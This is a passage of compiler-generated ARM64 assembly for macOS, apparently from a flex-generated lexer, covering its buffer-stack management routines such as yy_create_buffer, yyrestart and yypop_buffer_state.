LBB0_148:
str xzr, [x19, #8]
LBB0_149:
Lloh98:
adrp x8, ___stderrp@GOTPAGE
Lloh99:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh100:
ldr x0, [x8]
Lloh101:
adrp x8, l_.str.34@PAGE
Lloh102:
add x8, x8, l_.str.34@PAGEOFF
LBB0_150:
str x8, [sp]
Lloh103:
adrp x1, l_.str.9@PAGE
Lloh104:
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
LBB0_151:
Lloh105:
adrp x8, ___stderrp@GOTPAGE
Lloh106:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh107:
ldr x0, [x8]
Lloh108:
adrp x8, l_.str@PAGE
Lloh109:
add x8, x8, l_.str@PAGEOFF
b LBB0_150
LBB0_152:
Lloh110:
adrp x8, ___stderrp@GOTPAGE
Lloh111:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh112:
ldr x0, [x8]
Lloh113:
adrp x8, l_.str.1@PAGE
Lloh114:
add x8, x8, l_.str.1@PAGEOFF
b LBB0_150
LBB0_153:
Lloh115:
adrp x8, ___stderrp@GOTPAGE
Lloh116:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh117:
ldr x0, [x8]
Lloh118:
adrp x8, l_.str.33@PAGE
Lloh119:
add x8, x8, l_.str.33@PAGEOFF
b LBB0_150
LBB0_154:
Lloh120:
adrp x8, ___stderrp@GOTPAGE
Lloh121:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh122:
ldr x0, [x8]
Lloh123:
adrp x8, l_.str.35@PAGE
Lloh124:
add x8, x8, l_.str.35@PAGEOFF
b LBB0_150
LBB0_155:
Lloh125:
adrp x8, ___stderrp@GOTPAGE
Lloh126:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh127:
ldr x0, [x8]
Lloh128:
adrp x8, l_.str.36@PAGE
Lloh129:
add x8, x8, l_.str.36@PAGEOFF
b LBB0_150
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdr Lloh2, Lloh3
.loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpAdrp Lloh10, Lloh11
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpAdd Lloh14, Lloh15
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpLdr Lloh24, Lloh25
.loh AdrpLdrGotStr Lloh28, Lloh29, Lloh30
.loh AdrpAdd Lloh26, Lloh27
.loh AdrpLdr Lloh31, Lloh32
.loh AdrpLdr Lloh33, Lloh34
.loh AdrpLdr Lloh36, Lloh37
.loh AdrpAdrp Lloh35, Lloh36
.loh AdrpLdr Lloh38, Lloh39
.loh AdrpLdr Lloh43, Lloh44
.loh AdrpLdr Lloh41, Lloh42
.loh AdrpAdrp Lloh40, Lloh41
.loh AdrpLdr Lloh45, Lloh46
.loh AdrpLdr Lloh47, Lloh48
.loh AdrpLdrGotStr Lloh53, Lloh54, Lloh55
.loh AdrpAdrp Lloh52, Lloh53
.loh AdrpAdrp Lloh51, Lloh52
.loh AdrpLdr Lloh49, Lloh50
.loh AdrpLdrGot Lloh56, Lloh57
.loh AdrpAdd Lloh58, Lloh59
.loh AdrpAdd Lloh62, Lloh63
.loh AdrpAdd Lloh60, Lloh61
.loh AdrpLdr Lloh64, Lloh65
.loh AdrpAdd Lloh68, Lloh69
.loh AdrpAdrp Lloh66, Lloh67
.loh AdrpAdd Lloh70, Lloh71
.loh AdrpAdrp Lloh72, Lloh73
.loh AdrpAdd Lloh76, Lloh77
.loh AdrpAdd Lloh74, Lloh75
.loh AdrpAdd Lloh78, Lloh79
.loh AdrpAdd Lloh84, Lloh85
.loh AdrpAdd Lloh82, Lloh83
.loh AdrpAdrp Lloh80, Lloh81
.loh AdrpAdd Lloh86, Lloh87
.loh AdrpAdd Lloh88, Lloh89
.loh AdrpAdd Lloh90, Lloh91
.loh AdrpAdd Lloh92, Lloh93
.loh AdrpAdd Lloh96, Lloh97
.loh AdrpAdd Lloh94, Lloh95
.loh AdrpAdd Lloh101, Lloh102
.loh AdrpLdrGotLdr Lloh98, Lloh99, Lloh100
.loh AdrpAdd Lloh103, Lloh104
.loh AdrpAdd Lloh108, Lloh109
.loh AdrpLdrGotLdr Lloh105, Lloh106, Lloh107
.loh AdrpAdd Lloh113, Lloh114
.loh AdrpLdrGotLdr Lloh110, Lloh111, Lloh112
.loh AdrpAdd Lloh118, Lloh119
.loh AdrpLdrGotLdr Lloh115, Lloh116, Lloh117
.loh AdrpAdd Lloh123, Lloh124
.loh AdrpLdrGotLdr Lloh120, Lloh121, Lloh122
.loh AdrpAdd Lloh128, Lloh129
.loh AdrpLdrGotLdr Lloh125, Lloh126, Lloh127
.cfi_endproc
.section __TEXT,__const
.p2align 1
lJTI0_0:
.short (LBB0_88-LBB0_88)>>2
.short (LBB0_142-LBB0_88)>>2
.short (LBB0_143-LBB0_88)>>2
.short (LBB0_144-LBB0_88)>>2
.short (LBB0_151-LBB0_88)>>2
.short (LBB0_152-LBB0_88)>>2
.short (LBB0_147-LBB0_88)>>2
; -- End function
.section __TEXT,__text,regular,pure_instructions
.p2align 2 ; -- Begin function yyensure_buffer_stack
_yyensure_buffer_stack: ; @yyensure_buffer_stack
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
adrp x19, _yy_buffer_stack@PAGE
ldr x0, [x19, _yy_buffer_stack@PAGEOFF]
cbz x0, LBB1_4
; %bb.1:
Lloh130:
adrp x8, _yy_buffer_stack_top@PAGE
Lloh131:
ldr x8, [x8, _yy_buffer_stack_top@PAGEOFF]
adrp x20, _yy_buffer_stack_max@PAGE
ldr x21, [x20, _yy_buffer_stack_max@PAGEOFF]
sub x9, x21, #1
cmp x8, x9
b.lo LBB1_6
; %bb.2:
add x22, x21, #8
lsl x1, x22, #3
bl _realloc
str x0, [x19, _yy_buffer_stack@PAGEOFF]
cbz x0, LBB1_7
; %bb.3:
add x8, x0, x21, lsl #3
movi.2d v0, #0000000000000000
stp q0, q0, [x8, #32]
stp q0, q0, [x8]
str x22, [x20, _yy_buffer_stack_max@PAGEOFF]
b LBB1_6
LBB1_4:
mov w0, #8
bl _malloc
str x0, [x19, _yy_buffer_stack@PAGEOFF]
cbz x0, LBB1_7
; %bb.5:
str xzr, [x0]
mov w8, #1
adrp x9, _yy_buffer_stack_max@PAGE
str x8, [x9, _yy_buffer_stack_max@PAGEOFF]
adrp x8, _yy_buffer_stack_top@PAGE
str xzr, [x8, _yy_buffer_stack_top@PAGEOFF]
LBB1_6:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB1_7:
Lloh132:
adrp x8, ___stderrp@GOTPAGE
Lloh133:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh134:
ldr x0, [x8]
Lloh135:
adrp x8, l_.str.37@PAGE
Lloh136:
add x8, x8, l_.str.37@PAGEOFF
str x8, [sp]
Lloh137:
adrp x1, l_.str.9@PAGE
Lloh138:
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
.loh AdrpLdr Lloh130, Lloh131
.loh AdrpAdd Lloh137, Lloh138
.loh AdrpAdd Lloh135, Lloh136
.loh AdrpLdrGotLdr Lloh132, Lloh133, Lloh134
.cfi_endproc
; -- End function
.globl _yy_create_buffer ; -- Begin function yy_create_buffer
.p2align 2
_yy_create_buffer: ; @yy_create_buffer
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x1
mov x19, x0
mov w0, #72
bl _malloc
cbz x0, LBB2_3
; %bb.1:
mov x20, x0
sxtw x8, w21
str x8, [x0, #24]
add x0, x8, #2
bl _malloc
str x0, [x20, #8]
cbz x0, LBB2_3
; %bb.2:
mov w8, #1
str w8, [x20, #40]
mov x0, x20
mov x1, x19
bl _yy_init_buffer
mov x0, x20
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB2_3:
Lloh139:
adrp x8, ___stderrp@GOTPAGE
Lloh140:
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
Lloh141:
ldr x0, [x8]
Lloh142:
adrp x8, l_.str.2@PAGE
Lloh143:
add x8, x8, l_.str.2@PAGEOFF
str x8, [sp]
Lloh144:
adrp x1, l_.str.9@PAGE
Lloh145:
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
mov w0, #2
bl _exit
.loh AdrpAdd Lloh144, Lloh145
.loh AdrpAdd Lloh142, Lloh143
.loh AdrpLdrGotLdr Lloh139, Lloh140, Lloh141
.cfi_endproc
; -- End function
.globl _yyrestart ; -- Begin function yyrestart
.p2align 2
_yyrestart: ; @yyrestart
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x0
adrp x21, _yy_buffer_stack@PAGE
ldr x8, [x21, _yy_buffer_stack@PAGEOFF]
adrp x22, _yy_buffer_stack_top@PAGE
adrp x20, _yyin@PAGE
cbz x8, LBB3_2
; %bb.1:
ldr x9, [x22, _yy_buffer_stack_top@PAGEOFF]
ldr x0, [x8, x9, lsl #3]
cbnz x0, LBB3_3
LBB3_2:
bl _yyensure_buffer_stack
ldr x0, [x20, _yyin@PAGEOFF]
mov w1, #16384
bl _yy_create_buffer
ldr x8, [x21, _yy_buffer_stack@PAGEOFF]
ldr x9, [x22, _yy_buffer_stack_top@PAGEOFF]
str x0, [x8, x9, lsl #3]
LBB3_3:
mov x1, x19
bl _yy_init_buffer
ldr x8, [x21, _yy_buffer_stack@PAGEOFF]
ldr x9, [x22, _yy_buffer_stack_top@PAGEOFF]
lsl x9, x9, #3
ldr x10, [x8, x9]
ldr x11, [x10, #32]
ldr x10, [x10, #16]
Lloh146:
adrp x12, _yy_c_buf_p@PAGE
str x10, [x12, _yy_c_buf_p@PAGEOFF]
Lloh147:
adrp x12, _yytext@GOTPAGE
Lloh148:
ldr x12, [x12, _yytext@GOTPAGEOFF]
Lloh149:
str x10, [x12]
ldr x8, [x8, x9]
Lloh150:
adrp x9, _yy_n_chars@PAGE
str x11, [x9, _yy_n_chars@PAGEOFF]
ldr x8, [x8]
str x8, [x20, _yyin@PAGEOFF]
ldrb w8, [x10]
Lloh151:
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpAdrp Lloh150, Lloh151
.loh AdrpLdrGotStr Lloh147, Lloh148, Lloh149
.loh AdrpAdrp Lloh146, Lloh147
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function yy_init_buffer
lCPI4_0:
.long 1 ; 0x1
.long 0 ; 0x0
.section __TEXT,__text,regular,pure_instructions
.p2align 2
_yy_init_buffer: ; @yy_init_buffer
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x20, x1
mov x19, x0
bl ___error
ldr w21, [x0]
adrp x8, _yy_buffer_stack_top@PAGE
cbz x19, LBB4_3
; %bb.1:
str xzr, [x19, #32]
ldr x9, [x19, #8]
strb wzr, [x9]
ldr x9, [x19, #8]
strb wzr, [x9, #1]
ldr x9, [x19, #8]
str x9, [x19, #16]
mov w9, #1
str w9, [x19, #48]
str wzr, [x19, #64]
Lloh152:
adrp x9, _yy_buffer_stack@PAGE
Lloh153:
ldr x9, [x9, _yy_buffer_stack@PAGEOFF]
cbz x9, LBB4_4
; %bb.2:
ldr x10, [x8, _yy_buffer_stack_top@PAGEOFF]
ldr x10, [x9, x10, lsl #3]
cmp x10, x19
b.ne LBB4_5
b LBB4_7
LBB4_3:
Lloh154:
adrp x9, _yy_buffer_stack@PAGE
Lloh155:
ldr x9, [x9, _yy_buffer_stack@PAGEOFF]
b LBB4_5
LBB4_4:
mov x10, #0
cmp x10, x19
b.eq LBB4_7
LBB4_5:
str x20, [x19]
mov w10, #1
str w10, [x19, #60]
cbnz x9, LBB4_8
; %bb.6:
mov x8, #0
cmp x8, x19
b.ne LBB4_9
b LBB4_10
LBB4_7:
ldr x10, [x8, _yy_buffer_stack_top@PAGEOFF]
lsl x10, x10, #3
ldr x11, [x9, x10]
ldr x12, [x11, #32]
adrp x13, _yy_n_chars@PAGE
str x12, [x13, _yy_n_chars@PAGEOFF]
ldr x11, [x11, #16]
Lloh156:
adrp x12, _yy_c_buf_p@PAGE
str x11, [x12, _yy_c_buf_p@PAGEOFF]
Lloh157:
adrp x12, _yytext@GOTPAGE
Lloh158:
ldr x12, [x12, _yytext@GOTPAGEOFF]
Lloh159:
str x11, [x12]
ldr x10, [x9, x10]
ldr x10, [x10]
adrp x12, _yyin@PAGE
str x10, [x12, _yyin@PAGEOFF]
ldrb w10, [x11]
adrp x11, _yy_hold_char@PAGE
strb w10, [x11, _yy_hold_char@PAGEOFF]
str x20, [x19]
mov w10, #1
str w10, [x19, #60]
LBB4_8:
ldr x8, [x8, _yy_buffer_stack_top@PAGEOFF]
ldr x8, [x9, x8, lsl #3]
cmp x8, x19
b.eq LBB4_10
LBB4_9:
Lloh160:
adrp x8, lCPI4_0@PAGE
Lloh161:
ldr d0, [x8, lCPI4_0@PAGEOFF]
stur d0, [x19, #52]
LBB4_10:
cbz x20, LBB4_12
; %bb.11:
mov x0, x20
bl _fileno
bl _isatty
cmp w0, #0
cset w8, gt
b LBB4_13
LBB4_12:
mov w8, #0
LBB4_13:
str w8, [x19, #44]
bl ___error
str w21, [x0]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdr Lloh152, Lloh153
.loh AdrpLdr Lloh154, Lloh155
.loh AdrpLdrGotStr Lloh157, Lloh158, Lloh159
.loh AdrpAdrp Lloh156, Lloh157
.loh AdrpLdr Lloh160, Lloh161
.cfi_endproc
; -- End function
.globl _yy_switch_to_buffer ; -- Begin function yy_switch_to_buffer
.p2align 2
_yy_switch_to_buffer: ; @yy_switch_to_buffer
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _yyensure_buffer_stack
Lloh162:
adrp x8, _yy_buffer_stack@PAGE
Lloh163:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
cbz x8, LBB5_4
; %bb.1:
Lloh164:
adrp x9, _yy_buffer_stack_top@PAGE
Lloh165:
ldr x9, [x9, _yy_buffer_stack_top@PAGEOFF]
ldr x10, [x8, x9, lsl #3]
cmp x10, x19
b.eq LBB5_7
; %bb.2:
cbz x10, LBB5_6
; %bb.3:
adrp x10, _yy_hold_char@PAGE
ldrb w10, [x10, _yy_hold_char@PAGEOFF]
Lloh166:
adrp x11, _yy_c_buf_p@PAGE
Lloh167:
ldr x11, [x11, _yy_c_buf_p@PAGEOFF]
strb w10, [x11]
lsl x10, x9, #3
ldr x12, [x8, x10]
str x11, [x12, #16]
Lloh168:
adrp x11, _yy_n_chars@PAGE
Lloh169:
ldr x11, [x11, _yy_n_chars@PAGEOFF]
ldr x10, [x8, x10]
str x11, [x10, #32]
b LBB5_6
LBB5_4:
cbz x19, LBB5_7
; %bb.5:
Lloh170:
adrp x9, _yy_buffer_stack_top@PAGE
Lloh171:
ldr x9, [x9, _yy_buffer_stack_top@PAGEOFF]
LBB5_6:
lsl x9, x9, #3
str x19, [x8, x9]
ldr x10, [x19, #32]
Lloh172:
adrp x11, _yy_n_chars@PAGE
str x10, [x11, _yy_n_chars@PAGEOFF]
ldr x10, [x19, #16]
Lloh173:
adrp x11, _yy_c_buf_p@PAGE
str x10, [x11, _yy_c_buf_p@PAGEOFF]
Lloh174:
adrp x11, _yytext@GOTPAGE
Lloh175:
ldr x11, [x11, _yytext@GOTPAGEOFF]
Lloh176:
str x10, [x11]
ldr x8, [x8, x9]
ldr x8, [x8]
Lloh177:
adrp x9, _yyin@PAGE
str x8, [x9, _yyin@PAGEOFF]
ldrb w8, [x10]
Lloh178:
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
LBB5_7:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdr Lloh162, Lloh163
.loh AdrpLdr Lloh164, Lloh165
.loh AdrpLdr Lloh168, Lloh169
.loh AdrpLdr Lloh166, Lloh167
.loh AdrpLdr Lloh170, Lloh171
.loh AdrpAdrp Lloh177, Lloh178
.loh AdrpLdrGotStr Lloh174, Lloh175, Lloh176
.loh AdrpAdrp Lloh173, Lloh174
.loh AdrpAdrp Lloh172, Lloh173
.cfi_endproc
; -- End function
.globl _yyalloc ; -- Begin function yyalloc
.p2align 2
_yyalloc: ; @yyalloc
.cfi_startproc
; %bb.0:
b _malloc
.cfi_endproc
; -- End function
.globl _yy_delete_buffer ; -- Begin function yy_delete_buffer
.p2align 2
_yy_delete_buffer: ; @yy_delete_buffer
.cfi_startproc
; %bb.0:
cbz x0, LBB7_7
; %bb.1:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_remember_state
mov x19, x0
Lloh179:
adrp x8, _yy_buffer_stack@PAGE
Lloh180:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
adrp x9, _yy_buffer_stack_top@PAGE
cbz x8, LBB7_8
; %bb.2:
ldr x10, [x9, _yy_buffer_stack_top@PAGEOFF]
ldr x10, [x8, x10, lsl #3]
cmp x10, x19
b.ne LBB7_4
LBB7_3:
ldr x9, [x9, _yy_buffer_stack_top@PAGEOFF]
str xzr, [x8, x9, lsl #3]
LBB7_4:
ldr w8, [x19, #40]
cbz w8, LBB7_6
; %bb.5:
ldr x0, [x19, #8]
bl _free
LBB7_6:
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
b _free
LBB7_7:
.cfi_def_cfa wsp, 0
.cfi_same_value w30
.cfi_same_value w29
.cfi_same_value w19
.cfi_same_value w20
ret
LBB7_8:
.cfi_restore_state
mov x10, #0
cmp x10, x19
b.ne LBB7_4
b LBB7_3
.loh AdrpLdr Lloh179, Lloh180
.cfi_endproc
; -- End function
.globl _yyfree ; -- Begin function yyfree
.p2align 2
_yyfree: ; @yyfree
.cfi_startproc
; %bb.0:
b _free
.cfi_endproc
; -- End function
.globl _yy_flush_buffer ; -- Begin function yy_flush_buffer
.p2align 2
_yy_flush_buffer: ; @yy_flush_buffer
.cfi_startproc
; %bb.0:
cbz x0, LBB9_3
; %bb.1:
str xzr, [x0, #32]
ldr x8, [x0, #8]
strb wzr, [x8]
ldr x8, [x0, #8]
strb wzr, [x8, #1]
ldr x8, [x0, #8]
str x8, [x0, #16]
mov w8, #1
str w8, [x0, #48]
str wzr, [x0, #64]
Lloh181:
adrp x8, _yy_buffer_stack@PAGE
Lloh182:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
adrp x9, _yy_buffer_stack_top@PAGE
cbz x8, LBB9_4
; %bb.2:
ldr x10, [x9, _yy_buffer_stack_top@PAGEOFF]
ldr x10, [x8, x10, lsl #3]
cmp x10, x0
b.eq LBB9_5
LBB9_3:
ret
LBB9_4:
mov x10, #0
cmp x10, x0
b.ne LBB9_3
LBB9_5:
ldr x9, [x9, _yy_buffer_stack_top@PAGEOFF]
lsl x9, x9, #3
ldr x10, [x8, x9]
ldr x11, [x10, #32]
adrp x12, _yy_n_chars@PAGE
str x11, [x12, _yy_n_chars@PAGEOFF]
ldr x10, [x10, #16]
Lloh183:
adrp x11, _yy_c_buf_p@PAGE
str x10, [x11, _yy_c_buf_p@PAGEOFF]
Lloh184:
adrp x11, _yytext@GOTPAGE
Lloh185:
ldr x11, [x11, _yytext@GOTPAGEOFF]
Lloh186:
str x10, [x11]
ldr x8, [x8, x9]
ldr x8, [x8]
Lloh187:
adrp x9, _yyin@PAGE
str x8, [x9, _yyin@PAGEOFF]
ldrb w8, [x10]
Lloh188:
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
ret
.loh AdrpLdr Lloh181, Lloh182
.loh AdrpAdrp Lloh187, Lloh188
.loh AdrpLdrGotStr Lloh184, Lloh185, Lloh186
.loh AdrpAdrp Lloh183, Lloh184
.cfi_endproc
; -- End function
.globl _yypush_buffer_state ; -- Begin function yypush_buffer_state
.p2align 2
_yypush_buffer_state: ; @yypush_buffer_state
.cfi_startproc
; %bb.0:
cbz x0, LBB10_5
; %bb.1:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _yyensure_buffer_stack
Lloh189:
adrp x8, _yy_buffer_stack@PAGE
Lloh190:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
adrp x13, _yy_buffer_stack_top@PAGE
ldr x12, [x13, _yy_buffer_stack_top@PAGEOFF]
adrp x10, _yy_n_chars@PAGE
adrp x11, _yy_c_buf_p@PAGE
adrp x9, _yy_hold_char@PAGE
cbz x8, LBB10_4
; %bb.2:
ldr x14, [x8, x12, lsl #3]
cbz x14, LBB10_4
; %bb.3:
ldrb w14, [x9, _yy_hold_char@PAGEOFF]
ldr x15, [x11, _yy_c_buf_p@PAGEOFF]
strb w14, [x15]
lsl x14, x12, #3
ldr x16, [x8, x14]
str x15, [x16, #16]
ldr x15, [x10, _yy_n_chars@PAGEOFF]
ldr x14, [x8, x14]
str x15, [x14, #32]
add x12, x12, #1
str x12, [x13, _yy_buffer_stack_top@PAGEOFF]
LBB10_4:
lsl x12, x12, #3
str x19, [x8, x12]
ldr x13, [x19, #32]
ldr x14, [x19, #16]
str x14, [x11, _yy_c_buf_p@PAGEOFF]
Lloh191:
adrp x11, _yytext@GOTPAGE
Lloh192:
ldr x11, [x11, _yytext@GOTPAGEOFF]
Lloh193:
str x14, [x11]
ldr x8, [x8, x12]
str x13, [x10, _yy_n_chars@PAGEOFF]
ldr x8, [x8]
adrp x10, _yyin@PAGE
str x8, [x10, _yyin@PAGEOFF]
ldrb w8, [x14]
strb w8, [x9, _yy_hold_char@PAGEOFF]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
LBB10_5:
.cfi_def_cfa wsp, 0
.cfi_same_value w30
.cfi_same_value w29
.cfi_same_value w19
.cfi_same_value w20
ret
.loh AdrpLdr Lloh189, Lloh190
.loh AdrpLdrGotStr Lloh191, Lloh192, Lloh193
.cfi_endproc
; -- End function
.globl _yypop_buffer_state ; -- Begin function yypop_buffer_state
.p2align 2
_yypop_buffer_state: ; @yypop_buffer_state
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
Lloh194:
adrp x8, _yy_buffer_stack@PAGE
Lloh195:
ldr x20, [x8, _yy_buffer_stack@PAGEOFF]
cbz x20, LBB11_7
; %bb.1:
adrp x21, _yy_buffer_stack_top@PAGE
ldr x22, [x21, _yy_buffer_stack_top@PAGEOFF]
ldr x19, [x20, x22, lsl #3]
cbz x19, LBB11_7
; %bb.2:
str xzr, [x20, x22, lsl #3]
ldr w8, [x19, #40]
cbz w8, LBB11_4
; %bb.3:
ldr x0, [x19, #8]
bl _free
LBB11_4:
mov x0, x19
bl _free
str xzr, [x20, x22, lsl #3]
cbz x22, LBB11_7
; %bb.5:
sub x8, x22, #1
str x8, [x21, _yy_buffer_stack_top@PAGEOFF]
ldr x9, [x20, x8, lsl #3]
cbz x9, LBB11_7
; %bb.6:
ldr x10, [x9, #32]
adrp x11, _yy_n_chars@PAGE
str x10, [x11, _yy_n_chars@PAGEOFF]
ldr x9, [x9, #16]
Lloh196:
adrp x10, _yy_c_buf_p@PAGE
str x9, [x10, _yy_c_buf_p@PAGEOFF]
Lloh197:
adrp x10, _yytext@GOTPAGE
Lloh198:
ldr x10, [x10, _yytext@GOTPAGEOFF]
Lloh199:
str x9, [x10]
ldr x8, [x20, x8, lsl #3]
ldr x8, [x8]
adrp x10, _yyin@PAGE
str x8, [x10, _yyin@PAGEOFF]
ldrb w8, [x9]
adrp x9, _yy_hold_char@PAGE
strb w8, [x9, _yy_hold_char@PAGEOFF]
LBB11_7:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdr Lloh194, Lloh195
.loh AdrpLdrGotStr Lloh197, Lloh198, Lloh199
.loh AdrpAdrp Lloh196, Lloh197
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function yy_scan_buffer
lCPI12_0:
.long 0 ; 0x0
.long 1 ; 0x1
.section __TEXT,__text,regular,pure_instructions
.globl _yy_scan_buffer
.p2align 2
_yy_scan_buffer: ; @yy_scan_buffer
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
subs x21, x1, #2
b.lo LBB12_3
; %bb.1:
mov x20, x0
ldrb w8, [x0, x21]
cbnz w8, LBB12_3
; %bb.2:
add x8, x1, x20
ldurb w8, [x8, #-1]
cbz w8, LBB12_5
LBB12_3:
mov x19, #0
LBB12_4:
mov x0, x19
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB12_5:
mov w0, #72
bl _malloc
cbz x0, LBB12_11
; %bb.6:
mov x19, x0
stp x20, x21, [x0, #16]
str wzr, [x0, #40]
stp xzr, x20, [x0]
str x21, [x0, #32]
Lloh200:
adrp x8, lCPI12_0@PAGE
Lloh201:
ldr d0, [x8, lCPI12_0@PAGEOFF]
stur d0, [x0, #44]
stp wzr, wzr, [x0, #60]
bl _yyensure_buffer_stack
Lloh202:
adrp x8, _yy_buffer_stack@PAGE
Lloh203:
ldr x8, [x8, _yy_buffer_stack@PAGEOFF]
Lloh204:
adrp x9, _yy_buffer_stack_top@PAGE
Lloh205:
ldr x13, [x9, _yy_buffer_stack_top@PAGEOFF]
lsl x10, x13, #3
